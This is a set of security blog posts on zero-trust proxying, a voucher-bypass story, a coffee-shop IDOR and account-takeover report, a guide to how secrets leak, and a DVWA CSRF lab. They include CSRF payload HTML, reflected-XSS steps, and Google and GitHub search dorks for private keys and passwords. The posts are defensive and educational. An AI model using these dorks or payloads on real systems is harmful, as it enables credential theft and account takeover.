    options:
      allowed_email_domains:
        - domain.co

Notes:

Each entry must have a default setting, other custom settings can follow
from & to are the base, while options are optional only if one of the top three UPSTREAM_DEFAULT_ are set. I've learned this one the hard way...
Note how allowed_groups or allowed_email_domains are set and sufficient on their own. The first is permitting access for a specific directory group, while the latter offers a domain wide access with
The entire set of options can be found here

Deployment

The two services above should be deployed together in an internal network just as any other service would. The best practise here dictates a load balancer on top, to route traffic into the proxy / authenticator. The only thing to consider here is the reachability of upstream services; a system that's considered "internal" and will be accessed through the proxy has to be accessible from the proxy itself. On the network level, this means that they either have to sit in the same virtual private network, or have a peering between the networks. From the proxy's perspective, the IP and the port should be in-reach and open. "Open" also means that they would be part of the same security group, or open a rule in the respective groups to be able to provide back and forth communication.

ECS and Service Discovery

Once the proxy is set, the user gains access, they should be able to communicate with endpoints only accessible internally within the private network, the VPC. While we can redirect the request to an IP, those tend to change and the connection is then lost. An improvement can be an elastic IP that's guaranteed to stay fixed with the resource it was attached to. This brings a few new issues though; a. the resource itself can (and should) be rotated within time - we are dealing with containers after all. b. Elastic IPs will start being charged once their underlying resource no longer exists. Another improvement might be a human-readable DNS A record that's pointed at the same IP. Still, being readable and all, the inherent problem with a static IP remains.

The solution - AWS Service Discovery. Put simply, the service discovery service attaches itself to an ECS target group, updating the live running tasks underneath with an internal endpoint managed by Route53. Meaning, the user can hit the same endpoint and trust it to resolve to a dynamic IP that's connected to an existing task.

Here's a quick example using Terraform code (out of convenience only - this can be set manually or using any other language):

A global resource of private dns namespace has to be crated first, before it can host internl records:

After the namespace is ready, we can start creating private records, note the reference to the namespace inside dns_config:

And lastly, connecting the aws_ecs_service resource to the service registry:

Alternatives

The solution above is no the only one for zero trust solution. There are plenty out there, including commecrial ones as well as many OSS alternatives. Buzzfeed's solution was the choice here for its elegance by remaining a one-stop authentication system that builds on top of Google's OAuth2 solution. Any kind of solution will usually do pretty much the same work, and as long as the concept of security is kept, the rest is implementation details.

Extending the power of Zero Trust

Having the system deployed is a great solution for all things web. But sometimes real-life pop the security bubble; in some cases engineers will need to gain access to private resources by SSH, or other protocols (working aginst a Redis or a PostgreSQL instance). While Working directly against a resource in its protocol is not achievable, we can extend the reach by deploying web interfaces for SSH, PGAdmin-like applications.

I would address the engineering culture of accessing private resources in the first place, and how to create a workflow that removes the necessity of such operations, but that's material for another post. In the meantime, let's leave the notion of avoiding it when you can. And if you're serious, you may consider rotating those accessed instances altogether, marking them as contaminated once they've been SSH'ed into and automating their removal. Food for thought...

I hope this post helped with grasping the concept of zero trust and a real world implementation. This is something I struggled with when I tried incorporating it in our workflow, so I'm happy to share the experience and the "how to".

If you find any mistakes in the information above, have any questions or comments please reach out!

Thank you for reading 🖤

How to NOT secure web payment systems

Omer Hamerman — Mon, 21 Jun 2021 13:42:17 +0000

Since the tale laid here is real, I'll refrain from using specific names or locations. It might put me in some awkward situations. If you've been through something similar, it may sound familiar.
That said, the identifying details have little to do with the story itself. It is not a new or sophisticated hack. This is developers' laziness at its best. Assuming users are all non-technical sheep. For the most part, they're right, but, one greedy naughty user can change the picture.

Disclaimer:

I did not actually use what I got, and reported the bug
I do not suggest people try to score free services through exploitations of lousy systems. This is meant to help secure those that are exposed
My hope is that developers become more vigilant with systems, especially ones that involve personal and medical information of literally everyone that crosses their country's border
I do think however, that testing, at home for these kinds of bugs are contributing to the greater good of the internet.

Once upon a time

I've been traveling a lot. More so during covid than "normal" times, to get the vaccine, medical checkups, and other personal obligations. Traveling became this huge payment burden annoyance where you have to pay for tests before boarding and right after landing. Oh, and all over again when traveling back.
While I don't have any criticism on the necessity of the test (nor have I got the professional background to comment on it), the pile of tests I had to undertake and pay for started to feel like a tax. A negative financial incentive to not travel if you will.

Throughout the last year, I've been traveling to my home country and had to take a free PCR test right at the airport. Scheduling the appointments in an online dedicated system using the same discount code every time: Free1.

A couple of days ago, while planning for another trip home, I was going over the same long routine. Filling a passenger locator form (both for out, and inbound travel - 🤷) and pre-ordering my Airport Covid PCR test.

To my surprise, the test name has changed from "Covid PCR - mandatory" to something like "Covid PCR - $80 mandatory".

Wait what?

Yep, it seems that from now on, an $80 fine (excuse me, charge) per person is a must if you want to leave the airport. The other option, is paying with cash $100 upon arrival (some deal ay?).

I retried the same code that used to work over the last year. Free1 and "Apply". The screen reported a red error message. "Invalid Voucher Code" it said.

I did what any cybercriminal would do at that point - retried the same thing 3-5 times (genius). When that didn't work, I tried Free2, Free80, and a few others.

When I checked the outgoing request, I found that it was being sent to a /api/validate-voucher endpoint. It returned a strange HTTP error; 422 (Unprocessable entity) and a {statusCode: 422, message: "Invalid Voucher or Appointment ID"}, hmmm.. What "appointment"? I was trying to apply a discount code. Upon bad response, the UI deletes the code entered, effectively "preventing" the use of the code. The fact that it actually got deleted, could have been a good user experience, but a lousy prevention mechanism at the same time. "Why not test it myself?" I thought. 😈

BurpSuit for the rescue!
I fire up Firefox and proxy everything through Burp.

Going through the outgoing requests I see metrics and more metrics, 3rd party trackers, and whatnot. Sometimes I wish I hadn't seen the pile of crap websites make us send. Forwarding everything that's not interesting until WHOOPS, what's that?

A POST request holding the JSON data:

{
  appointmentId: "12345",
  voucher: ""
}

There we go, how about sliding the previously valid voucher through?
But wait, this sounds familiar.. earlier, when I just tried entering my old discount code, I got an "Invalid appointmentId...", could the same system actually be used for both purposes - validating the codes and creating appointments?
It feels off, a hunch tells me I'm going to see something funny.
I edit the object on the fly and forward it with burp.

{
  appointmentId: "12345",
  voucher: "Free1"
}

And what do you know, a huge shiny green label appeared on the screen: "PAID". Five seconds later the screen reloaded and a new QR with an appointment was generated.

Moral of the story

Users are not dumb. Some of them may not have the skills or energy to dig in. But if a system that holds personal medical records and results is this easily exploited, what happens in other areas?

Businesses are founded and run to make money. As such, they would always serve as a target for exploits. Let alone for a service that up until recently was free, and is now forced upon all returning passengers, preventing them from going home.

One must check each and every incoming request as if it's coming from the wild (it actually is!). Employ zero trust.

Ways to handle and general approaches

First and foremost, assume you're going to get exploited. Much like checking if the front door is locked, applications should make sure users can only do what they're intended to.

Checking whether a discount code is valid in the UI? Excellent, what about the backend? The browser lives in userland, where the developers don't have control over how the application is manipulated or *mis*used. One must check each and every incoming request as if it's coming from the wild (it actually is...). Employ zero trust.

On the same note - rate-limit incoming requests; when I couldn't apply my old Free1 discount code, I tried Free2, then Free3 and so on with different permutations. It seemed odd that I can just keep pushing codes through and learn whether they're valid or not, so I did what anyone would; I wrote a script. Tried a few dozens of them just for fun. Although nothing came up, I had fun fuzzing again with ffuf, and I just learned that the system doesn't rate-limit requests. With enough time at their disposal, different users can run a similar script for hours and days. This is bad for two main reasons - a) Servers are bombarded with requests. In case it was built correctly, it scales up to serve brute force attacks (funny on its own). In the worse case, it crashes. b) At some point, a valid discount code will pop up.

Another "discount code friendly" exploit (which I hadn't tried after getting a full price reduction), is a race condition where a user can re-apply the same discount code, usually giving a percentage of discount multiple times. Here's a famous one found on Dropbox a few years back.

To sum things up, systems' security should be high on the priority list. If not for revenue, at least for customer's privacy. Web applications can be "hacked" in more than one way, and it might be simple. My go-to approach when testing my own apps is thinking like a malicious actor. Not necessarily a top-notch security expert which I'm far from, but a user with minimal skills and a couple of simple wishes. Like getting a free service, or a discount I do not deserve.

Thank you for reading 🖤

Feel free to reach out with questions or comments.

Hacking your application may be easier than you think

Omer Hamerman — Tue, 16 Feb 2021 15:31:55 +0000

TL;DR:
I noticed a suspicious behavior on the weekly email from my coffee shop's subscription; it was offering I edit my preferences directly through a dedicated link. I was able to bypass the cookie and authentication token (no tricks) and was able to reach an account details panel changing password / account email etc. Essentially the shop was exposed to severe authentication and authorization issues, leading to IDOR of PII (exposure of private identifiable information). On top of that, not CORS nor CSRF mitigations were in place, allowing me to create a malicious link leading to a one-click account takeover.

Disclaimer: I am not suggesting anyone do any testing without clear consent. I noticed a vulnerability as a happy customer of one of my favorite shops and was intrigued by how easily my account could be manipulated. From there it was curiosity that took me further to find the bugs. I tried to keep as few "offensive" actions as possible and reported everything in detail to the shop to help them mitigate the risks, offering my help.

How it all started

I have a subscription to one of the best coffee shops in London. I'm being sent a bag of freshly roasted beans once a week, along with an email suggesting I change the preferences of beans or delivery schedule.
I have used the link many times; when I wanted to skip a delivery, or push it forward it was a quick and easy access to my account. No login barriers or interference - slick and easy customer experience.
For some reason, last week after updating my preference to an earlier shipment as I was out of coffee, I noticed something weird: accidentally removing one character of the link's token did not matter. I was still able to view the contents of my preference, make changes and update my account.

# Original request leading to the panel
https://coffee.shop/api/recurring/customers/<user-hash>/?token=1111111

# Using a different token (any token or none at all for that matter)
https://coffee.shop/api/recurring/customers/<user-hash>/?token=qqqqqqq

A bit of background: the shop is a web application, based on a very well known e-commerce platform that uses Ruby (trying to avoid full disclosure assuming those misconfigurations / bugs are in the wild in many other shops). The website itself is not the slickest I've seen, but it gets the job done. Basic user management and a convenient way of changing my preferences of delivery in a very easy and customizable way.

Back to the story: as I was removing the token, not only I could reach my account's delivery preferences, I could reach it from an anonymous browser too. Essentially meaning the cookie verification is not in place either. So I stripped the GET request from its token and cookie and was able to grab the information from anywhere I want. This would be vulnerability number one: lack of authentication for this specific endpoint.

It's important to say, the bug is not visible to any customer. Changes to non-recurring accounts (without automated weekly recurring orders), and to unsubscribed users go through the authentication process. It was this endpoint in the link, which was set up to support subscribed paying customers with recurring orders, giving them quick access to changes. The endpoint looked something like this:

https://coffee.shop/api/recurring/customers/<unique-hash>/?token=<token>

At this point I tried shifting my thinking from a worried customer to an attacker - what would I do if I had malicious intentions here?

I found an edit link on the preferences menu that led me to a form where I could change my details: name, home address, phone_number, and sure enough - my email address(!). The reason I'm emphasizing the email address is that this is the field that usually leads to account takeovers. Personal information should never be leaked, but it isn't always considered a security bug, whereas having an unprotected email change, can potentially destroy an account. Email addresses are de-facto web application accounts identifiers. If you control an account's email address, you own it. Controlling the address can be used to reset the password and essentially taking control over the account.

An important note about email address protection. More precisely - email address update protection. Changing an account's email address should be protected by a password. Yes, even if the user is already authenticated and logged in. Exactly for the reason described above. APIs are constantly changing and most of them have or will be exposing something at some point. It's a common and good practice to place another layer of protection on password and email changes. Once these are protected, to ensure the user is "real", he would be asked to confirm the change in the personal mailbox. Whether these are password or email changes, we assume that control over both an email address and password is a good identifier for a user's authenticity.

Continuing my "journey" I made a request to change my email address adding +1 to the username so that I don't lose control over the account (a +1 is common practice to change an address or use multiple accounts with the same mailbox). Sure enough, the request went through and my account was updated. This means, that anyone with this "coffee preference update" link, could take over my account details and buy anything they want with my credit card.

So how do I exploit that? I tried to illustrate the risk to the shop owner by showing a POC. To utilize a CSRF attack I'd have to create some kind of HTML form and send it to customers so their cookie is added to the request. BUT - not only the form did not have a CSRF token in place, I recalled it was not being validated at all.
There were also no CORS headers in place. This means that anyone from anywhere can send a POST request to the shop's API using the recurring/customer/edit link to make changes to an account, given the hash. This is massive because usually CSRF is utilized through dangerous GET requests. To exploit a POST changing request one would have to chain the attack with a stored XSS (a form of code injection where in this case might present a malicious link in the application) of some kind for a user to view / click.

Check out my post on CSRF attacks and mitigation

Since the cookie had no role here, all of that did not matter. This is just to show that if it was, a cookie validation alone is not a bulletproof solution. It is a baseline to the different security layers that should be implemented on top.

Reporting

I'm trying to educate myself on writing better vulnerability reports, so I cleanly disclosed everything I could to the shop owners. I assumed the technical details will be forwarded, so it was important to stress the impact and the risks the vulnerability imposes. This brings me to the "why it matters" part.

Why it matters!

The internet is massive, and it grows exponentially. With it, are growing both users and applications, and yes - bugs. As a developer, knowing common risks and how to test them, helps us as a community build better applications to support happier (and safer) customers. As in this case, no one intended any harm, but on the path to perfect a customer experience, developers and product owners should keep risks in mind together with the impact of their exploits.

As a smart woman once said:

Hackers are the internet's immune system.

While I can't call myself one, there are lots of high-quality bug bounty platforms out there with highly skilled researchers. I'd like to encourage teams with the resources and means to consider opening their program, private or with a platform. Leverage (and compensate) professional skills to spot security holes and fix them.

I do hope this post sparks the light in other minds to protect their customers. I also hope this can be a call-to-action for users to keep an open eye on how they are communicating with service providers they consider trustworthy. Lastly, I'd call for anyone who thinks they noticed something to go down the rabbit hole, and report. Worst-case scenario nothing happens. On the other hand, you may have saved information leaks, embezzlement and by extension - lives.

Testing yourself for vulnerabilities

Developers are often over-trusting security pipelines, QA systems and their own imported libraries. While these are all functional layers of the release process, a developer should know how to think and run basic tests against their own creation.

The thought process is something along the lines of:

What's the security mechanism that's preventing a malicious actor to make a certain request?
If I were a hacker (or a curious engineer with too much free time), how would I bypass it?
Can I simply not use a cookie? Can I remove the authentication header? Can I manipulate the cookie? Can I change my role just by manipulating the request's endpoint / headers / body / parameters?
Are there other creative-yet-obvious ways someone could use the system in a way that was not intended?

This is a partial list of questions that any developer should ask, especially when building and protecting user accounts. Added a new authentication library? Test it. Changed the cookie encryption? Added roles to your application management system? Test the changes, try to manipulate the system, it's not only fun but healthy. Take it a step further and dedicate half a day in a sprint for self-security "poking". I know that was a way I've sharpened my skills and once even found a way our system, built in house and serving clients, was compromise-able. But this is a different story for a different post.

Thank you for reading!

How hackers steal your keys and secrets

Omer Hamerman — Tue, 22 Sep 2020 13:45:24 +0000

After hunting for security bugs I've realized clients I’m working with are not familiar enough (or at all) with basic “hacking” techniques. API keys, passwords, SSH encrypted keys, and certificates are all great mechanisms of protection, as long they are kept secret. Once they’re out in the wild, it doesn’t matter how complex the password is or what hash algorithm was used to encrypt it somewhere else. In this post, I’m going to share concepts, methods, and tools used by researchers both for finding secrets and exploiting them. I'll also list mitigation action items that are simple to implement.

It’s important to mention that the attack & defend “game” is not an even one; an attacker only needs one successful attempt to get in, whereas the defender has to succeed 100% of the time. The hard part is knowing where to look. Once you can list your virtual “gates” through which hackers can find their way in, you can protect them with rather simple mechanisms. I believe their simplicity sometimes shadows their importance and makes a reason to be overlooked by many teams.

So here’s a quick and simple, yet not one to overlook TL;DR:

Enforce MFA everywhere - Google, GitHub, Cloud providers, VPNs, anywhere possible. If it's not optional, reconsider the system in use
Rotate keys and passwords constantly, employ and enforce rotation policies
Scan your code regularly. Preferably as part of the release process
Delegate login profiles and access management to one central system where you control and monitor

These are the 20% actions for 80% effect to prevent leaks and access-control holes

The attack & defend “game” is not an even one; an attacker only needs one successful attempt to get in, whereas the defender has to succeed 100% of the time.

So, what do hackers do and use to find passwords and application secrets?

They find them in your JavaScript files

API keys are all over the internet exposed to the world. This is a fact. Often times for no good reason. Developers forget them all around:

For debug purposes
For local devlopement
For future maintainers as comments

Blocks such as this one are all over the internet:

// DEBUG ONLY
// TODO: remove -->
API_KEY=t0psecr3tkey00237948

While many hackers actually sit and read through javascript files, the vast majority of them will automatically scan with tools like meg and then scan them for patterns.
How do they do that? After using a scanner like "meg" they scan their findings for a string that matches different templates. An example of another great tool by the same author that does exactly that is gf which is just a better grep. In this instance, using truffleHog or the trufflehog option in the gf tool can find the high-entropy string that most API keys identify with. The same goes for searching API_KEY as a string that yields results (too) many times.

Often times, keys have a good reason to appear where they are, but they're not protected from being used externally. One example is a client I've been working with lately, who, like many other platforms use maps as a third-party service. In order to fetch maps and manipulate them, they would call an API with a key and use it to get the relevant map back. What they forgot to do is configure their map provider to limit the origins from where incoming requests with that specific key can originate. It's not hard to think of a simple attack that will drain their license quota, effectively costing them a lot of money, or "better" yet (in terms of the attack) bringing their map-oriented service down.

JS files are not only used to find secrets by hackers. This is your application code open to any prying eyes. An intelligent hacker might read the code thoroughly to understand naming conventions, API paths, and find informational comments. These are later on extrapolated to a list of words and paths and loaded into automated scanners. This is what's referred to as an intelligent automated scan; one where the attacker combines automated processes and gathered organization-specific information.

A real comment left on a target's front page, revealing a set of unprotected API endpoints leaking data.

/* Debug ->
domain.com/api/v3 not yet in production 
and therefore not using auth guards yet 
use only for debugging purposes until approved */

What should you do then?

Minify / Uglify - Adds a layer of obfuscation and utilization. While usually reversible it can help flying under the radar of many automatic scanners, reducing the attack surface
Keep only the bare minimum keys and permissions - while some are essential, most are not. Leave only keys that have got to be part of the code
Reduce the key permissions to the bare minimum necessary - as with the maps service example, make sure the key can only do what it's intended to, and where it's intended to operate from. Make sure you leave no room for exploitation
Use the same tools attackers would use to automatically scan code on CI builds. Especially with string pattern matching tools that are quick to run. Utilize simple greps or gf to scan for patterns. Much like tests, these can help ensure developers don't leave holes that can be exploited or used to breach the system
Practice code review to have another eye on the code - all the scanners in the world cannot scan and detect 100% of the use cases. Another human eye is a great practice, both for quality and security

They take a look back at the Wayback machine

The internet archive, also known as the "Wayback Machine" holds periodic scans of websites all over the internet for years and years back. This is a mining field for hackers with a target. With tools like waybackcurls (based on waybackcurls.py) one can scan any target of old files. This means that even if you've found and removed a key but did not rotate it, a hacker might still find it in an old version of your website and use it against you.

Found a key laying around where it's not supposed to?

Create a replacement key
Release a version that uses the new key and removes the clear text mentioning
Delete the old one or deactivate it

The way WaybackMachine is not only good for finding keys

Old code reveals all kind of interesting information for exploiters:

Secret API paths - Unprotected API endpoints that you thought would never be found. While the ones that are found may be unexploitable they still help attackers map the API structure and conventions in the system. When your code is out in the wild there's no control over it, this is key to remember and put in the back of any developer's mind
Web administration panels, much like API endpoints, are left around for different purposes and serve as one of the common attack vectors hackers find and exploit. These are mostly found in large organizations and installed by IT teams. A good idea is to periodically review all administration panels in use and their access management. A recent automotive manufacturer breach happened through such a panel that was bypassed by removing the s from the https prefix of the address. Yes: 🤦.

They use GitHub

GitHub is a goldmine for hackers. With a simple search, knowing where to look can yield interesting results. If your account is not enforcing MFA, each and every user in the organization is a walking security hole. It's not far-fetched to assume that one of the collaborators in the organization is not using a unique password and that his password was once leaked through another system. A hacker that targets the organization can easily automate such a scan or even go manually through it.
The list of employees can be generated with OSINT like searching for employees on Linkedin, or in the GitHub public users list.

For example, here's a good starting point if you're trying to probe Tesla:

https://api.github.com/orgs/teslamotors/members

Even if the company doesn't use GitHub as their git provider, often the leaks won't be caught there anyway. It's enough to have one employee that uses GitHub for his personal projects and has a small leak in one of them (or their git history) to turn it into a breach.

Git's nature is to track the entire history of changes in every project. In the security context of things, this fact becomes significant. In other words, every line of code every written (or removed) by any user with current access to any organizational system is jeopardizing the company.

Why does it happen?

Companies don't scan themselves for leaks
Those that do, usually don't consider going through their employees' personal (yet publically available) accounts
Those that do scan employees (a guesstimation of less than 1%) many times fail over reliance on automation and skipping commit history (not scanning the entire git tree but just the surface which is the current snapshot of the code)
Lastly, companies don't rotate keys or use 2FA often enough. Those two can eliminate most of the holes above

Dorks 101

"Dorks" are search lines that utilize the search engine different features, with targeted search strings to pinpoint results. Here's a fun list of Google searches from the exploit DB.

Before giving the gist of it, if you want to go deep here, and I personally recommend that you do, here's an invaluable lesson from a talented researcher.. He discusses how to scan, how to use dorks, what to look for and where when going through a manual process.

GitHub dorks are less complex than Google simply because it lacks the complexity of features Google offers. Still, searching for the right strings in the right places can do wonders. Just go ahead and search one string of the next list on GitHub, you're in for a treat:

password
dbpassword
dbuser
access_key
secret_access_key
bucket_password
redis_password
root_password

If you try targeting the search to interesting files like filename:.npmrc _auth or filename:.htpasswd you can filter the type of leak you're looking for. Read further SecurityTrails' great post.

Mitigation

Scan for leaks as part of any CI process, GitRob is a great tool
Scan employees accounts; Gitrob does that for you unless disabled with -no-expand-orgs flag
Go deep into the history, Gitrob's default is 500 commits, you can go further with -commit-depth <#number>
Enforce GitHub two-factor authentication!
Rotate access keys, secrets, and password of each and every system. A good practice would be to use federated access through one system like GSuite or ActiveDirectory and make sure they employ policies of password rotation and complexity

A post-publish important remarks by there readers @codemouse92 and @corymcdonald about password complexity, rotation, and physical devices assisting:

Use a unique, complex password for each login that requires one... but understand that complex does not imply esoteric. Long phrases are currently considered the best strategy.
...
I'd add one thing to the topic of password managers: while you should definitely use one, it's best to still use phrase-based passwords that can be entered reasonably by a human.
- Jason C.McDonald

In my line of work ... everyone is issued a hardware-based MFA. Everyone gets 2 YubiKeys ...
Additionally, we have 1Password and separate vaults for each team. When an employee leaves the company the support team goes and rotates all the passwords in each vault the person had access to.
Personally I've made the cursed mistake of pushing up AWS secrets to Github. It's recommended everyone add git-secrets to their pre-commit workflow to prevent pushing up anything resembling a secret.
- Cory McDonald

They use Google

Now that we're generally familiar with dorks, taking them to Google reveals an entirely new field of features. Being the powerful search engine it is, Google offers inclusion & exclusion of strings, file format, domains, URL paths, etc.
Consider this search line:

"MySQL_ROOT_PASSWORD:" "docker-compose" ext:yml

This is targeting a specific file format (yml) and a vulnerable file (docker-compose) where developers tend to store their not-so-unique passwords. Go ahead and run this search line, you'd be surprised to see what comes up.

Other interesting lines may include RSA keys or AWS credentials, here's another example:

"-----BEGIN RSA PRIVATE KEY-----" ext:key

The options are endless and the level of creativity and width of familiarity with different systems will determine the quality of findings. Here's a large list of dorks if you want to play a little.

They get to know your system

When a researcher (or a motivated hacker) gets "involved" with a system, he goes deep. He gets to know it; API endpoints, naming conventions, interactions, different versions of systems if they're exposed.

A not-very-good approach to securing systems is introducing complexity and randomness to their access paths instead of real security mechanisms. Security researchers trying to come up with vulnerable paths and endpoints use "fuzzing" tools. These tools use lists of words, combining them into system paths and probing them to see if valid answers are being returned. These scanners will never find a completely random set of characters, but they are superb at identifying patterns and extracting endpoints you either forgot about or did not know that exist.

Remember, security through obscurity is not a good practice (although don't ignore it completely)

That's where Github dorks which we've discussed earlier come in; knowing a system's endpoints naming convention, e.g. api.mydomain.com/v1/payments/... can be very helpful. Searching the company's Github repos (and their employees) for the basic API string can many times find those random endpoints names.

However, random strings still have a place when building systems; they are always a better option than incremental resource IDs, like users, or orders.

Here's an incredible string lists repo called "SecLists". It's being used by almost everyone in the industry. Often with a personal twist and touch in the context of the target, it's a massive source. Another powerful tool to leverage string lists is FFuf, an ultra-fast fuzz tool written in Go.

Wrapping it up

Security is often taken lightly in startups. Developers and managers tend to prioritize speed and delivery times over quality and security. Pushing clear text secret strings to code repos, using the same keys over and over in systems, using access keys when other options are available can sometimes seem faster, but they can be detrimental down the road. I've tried showing how those strings you think are protected by being in a private repo, can easily find their way to a public gist. Or an employee's unintentional Git clone that was made public. If you set the ground for secure work like using password sharing tools, central secret store, policies for passwords and multi-factor authentication, you'd be able to keep making fast progress, without sacrificing security completely.

"Move fast and break things", is not the best mantra in the context of information protection

Knowing how hackers work, is usually a very good first step in understanding security and applying it to systems as a protector. Consider the approaches above and the fact that this is a very limited list of paths hackers take when penetrating systems. A good thing to do is to keep in mind the security aspects of anything being deployed to a system, regardless of its customer-facing/internal nature.

Managing security can sometimes be a pain in the ass, but rest assured, the mayhem you're avoiding by just taking care of the very basic elements, will keep you safe and sane.

Thank you for reading this far! I hope that I've helped to open some minds to risks that are out there and we all miss or overlook.

Feel free to reach out with any feedback or questionsץ Any form or shape or discussion is most welcome!

Protect your application from CSRF attacks

Omer Hamerman — Mon, 25 May 2020 14:45:20 +0000

Cross-Site Request Forgery attack and mitigations explained
Originally published at https://omerxx.com/csrf-attacks

"CSRF is an attack that forces an end user to execute unwanted actions on a web application in which they are currently authenticated. With a little help of social engineering (such as sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing."

- DVWA

TL;DR
CSRF is as easy to attack as it is easy to protect from! There's no reason any web-facing application should not implement the relevant protection. Lots of known frameworks have it built in as a feature or an opt-in and on some it is offered as a middleware. CSRF will probably die in the next few years, when all modern browsers will adopt default same-site cookies protection. However, until that actually happens, web applications are exposed, and for no good reason.

In this post I'm going to quickly go over the basics, mitigations and then take a deep dive into a hands-on lab. The latter is obviously not a must for mitigation. But stick around if you want to get your hands dirty and get a more firm grasp of the attack vector.

What is it

Cross Site Request Forgery, "CSRF", or "XSRF", is a common vulnerability in web applications. It involves sending malicious requests from an external domain to the backend server, performing actions in the victim's name. The attack assumes a valid cookie from an authenticated victim.

Delivering the exploit involves some social engineering methods where a victim is tricked into visiting a URL or clicking a button on an HTML document. These can be shared via email, instant messaging and various other techniques.

If the attack is successful when the victim visits the malicious link it uses his session cookies to perform an action, usually without him being aware of it.

As an example consider this request:

http://bank.com/account/update?password='attackerPassword123'

If an authenticated user clicks the link, assuming his cookies for bank.com are still unexpired, his bank account password will change with the attacker's password. While this is a naive GET request, the attack is not limited to this method alone. It can be done with POST requests which are can be chained with stored XSS vulnerabilities to increase the attack surface and success rate.

Modern browsers adhere to the same-origin-policy restriction. They assume applications can only send requests to each other within their domain. In order to extend the restriction, applications use CORS headers. For example, the next header allows all domains to send HTTP requests to the server (and it is therefor highly UNrecommended):

Access-Control-Allow-Origin: *

More often than not there's a communication of requests between different services of an application. This requires extending the origins that are allowed to communicate with the backend app. However, many developers choose to solve the problem by setting * in the CORS header, effectively allowing anyone to communicate with them.

Note: SOP (same-origin-policy) and CORS do not prevent requests from reaching the server, they prevent a response. For this reason, CSRF is exploiting known state-changing requests and does not expect an answer.

Why it's important to know

First, because it's a relatively easy and common way for a low-skilled attacker to exploit the application's users. An example of a malicious action can be changing a user's email address or password, effectively overtaking an account. While the business risks differ it's pretty obvious why would any developer want to avoid the risk, especially knowing the simple steps to mitigation.

Mitigations

Token-based - One of the common ways and definitely the most robust one is the use of a token. Upon user request, the application generates a unique token that's added to the form as a hidden field. When the user sends the form back, the server is validating its authenticity by comparing the token to the one he had generated earlier.

"The server generates a token comprised of the user's session ID and timestamp (to prevent replay attacks) using a unique key available only on the server. This token is returned to the client and embedded in a hidden field for forms, in the request-header/parameter for AJAX requests. On receipt of this request, the server reads and decrypts the token value with the same key used to create the token."

- OWASP, CSRF Prevention, Encryption based

CSRF tokens should not be transmitted using cookies. If they would, the exploit will still be valid as it assumes the cookie through the victim, essentially using the generated token too.

Origin Validation - Using Origin or Referer headers, the application can validate the source of a request. This is not considered a high standard of protection as it is still exposed to stored XSS vulnerabilities. If a user manager to inject a malicious script in a vulnerable location on the application, the script will bypass the protection since it'll be triggered from within the domain name.
Prevent cross-site-scripting (XSS) - This is a topic of an entire post on its own but I'll keep it short. Use a protection library if possible, and read through the OWASP XSS prevention cheat sheet. Search and block all kind of scripting to fields, treat them all as texts, or escape as much as possible. Rule of thumb: escaping will never cover ass possibilities if possible avoid.

So, let's get back to earth. There's no need to invent the wheel. Most of the well-known web frameworks and CMS products out there have already done the work for you, or there's a community solution. Here's a partial list you can use to implement CSRF protection:

Tech	Framework	Comments
Python	Django, Flask
Ruby	Rails, Middleware	The middleware is a standalone gem
Javascript / Typescript	Nest, Express, Helmet	Helmet is a standalone library
Golang	Buffalo	Buffalo `form` is implementing tokens by default

Let's get technical

For the getting-my-hands-dirty part I'm going to use DVWA. If you want to follow this section it's important to setup DVWA on your local machine (instructions below) and follow closely each step both in the post and in DVWA. Here's how to set it up:

docker run --rm -it -p 8080:80 vulnerables/web-dvwa

# The login screen would be @ http://localhost:8080
#
# While the login can be brute-forced, let's keep things simple for now:
# 1. Login - User: "admin", Password: "password"
# 2. Click "Create / Reset Database"
# 3. You're all set. Login again.

When in DVWA interface, select the CSRF module. The instructions below demonstrate all security levels offered by DVWA. In order to change security levels select DVWA Security from the left-hand-side menu, select the preferred level, and hit Submit.

Security level: Low

We're presented with a password and confirmation text box. Providing value and clicking the button fires a request to the server. We can use a proxy or the browser's dev tools to view the password change request:

GET /vulnerabilities/csrf/
  ?password_new=pass
  &password_conf=pass
  &Change=Change HTTP/1.1

The application seems to send the password and its verification as URI params. Since there is no Access-Control-Allow-Origin header set, and GET requests do not require any additional preflight requests of verification like POST, we're good to go. In order to exploit it, a simple social engineering is required. The attacker can build a simple HTML page with a link that leads to the GET request. The idea is, that the target is authenticated to the application with their cookies set. If that's the case, the request will go through, authenticating with the backend automatically since the cookies are already there. Here's an example for the page that can be embedded into an email message:

<html>
    <a href="http://192.168.0.10:8000/vulnerabilities/csrf/
            ?password_new=hacked
            &password_conf=hacked
            &Change=Change">
    View my Pictures!
  </a>
</html>

Security level: Medium

The hint by DVWA says:

"The developer believes if it matches the current domain, it must have come from the web application so it can be trusted."

Which means, the request needs to come from the same domain. But if there's a user-interactive system running under the same domain, where a user can POST input and see it, is it really safe?

Here comes in the XSS exploit: only allowing traffic from your own domain is not a bulletproof solution. If you have some kind of system that users interact with, say, a forum, they can post stuff for others to see. If they’re able to exploit it and inject a script (XSS) and others view it, the attacker will be able to bypass the protection of the same-domain setting and still launch the CSRF attack on others.

Trying to use a form here won't do any good since the application blocks any incoming request from an external domain and shoots out:

That request didn't look correct.

In order to make the request originate from the domain, we need to use some kind of script injection to the application pages. As an example: a script / html component that will be loaded and run by the app.

rXSS to the rescue!

Utilizing a reflected XSS bug in the web app allows bypassing the origin verification. With XSS (Reflected) on the menu of DVWA, any name inserted is presented on the screen to the user. HTML tags are not escaped so we can utilize the exact same line from the low-security level:

<a href="http://192.168.0.10:8000/vulnerabilities/csrf/
        ?password_new=hacked
        &password_conf=hacked
        &Change=Change">
  View my Pictures!
</a>

When served, it generates a clickable link. The link can then talk to the application from its own origin, using the cookies that are already stored since the user is already authenticated.

In order to serve the HTML we can set up a private local web server, or as a malicious attacker would do it, send it as an email. With a little help from social engineering, the victim can be lured into opening the mail and hitting the form in it.

In order to test, we can create the HTML file and run it on a local browser providing our input in the form, where we get:

Password Changed.

Security level: High

If we use the same form used in the "Medium level" section above, we end up with the next:

CSRF token is incorrect

What is a CSRF token anyway?

A CSRF token is a unique, secret, unpredictable value that is generated by the server-side application and transmitted to the client in such a way that it is included in a subsequent HTTP request made by the client. When the later request is made, the server-side application validates that the request includes the expected token and rejects the request if the token is missing or invalid.
CSRF tokens can prevent CSRF attacks by making it impossible for an attacker to construct a fully valid HTTP request suitable for feeding to a victim user. Since the attacker cannot determine or predict the value of a user's CSRF token, they cannot construct a request with all the parameters that are necessary for the application to honor the request.

- Portswigger

So the application is protected by a CSRF dynamic token. How can one exploit it anyway?

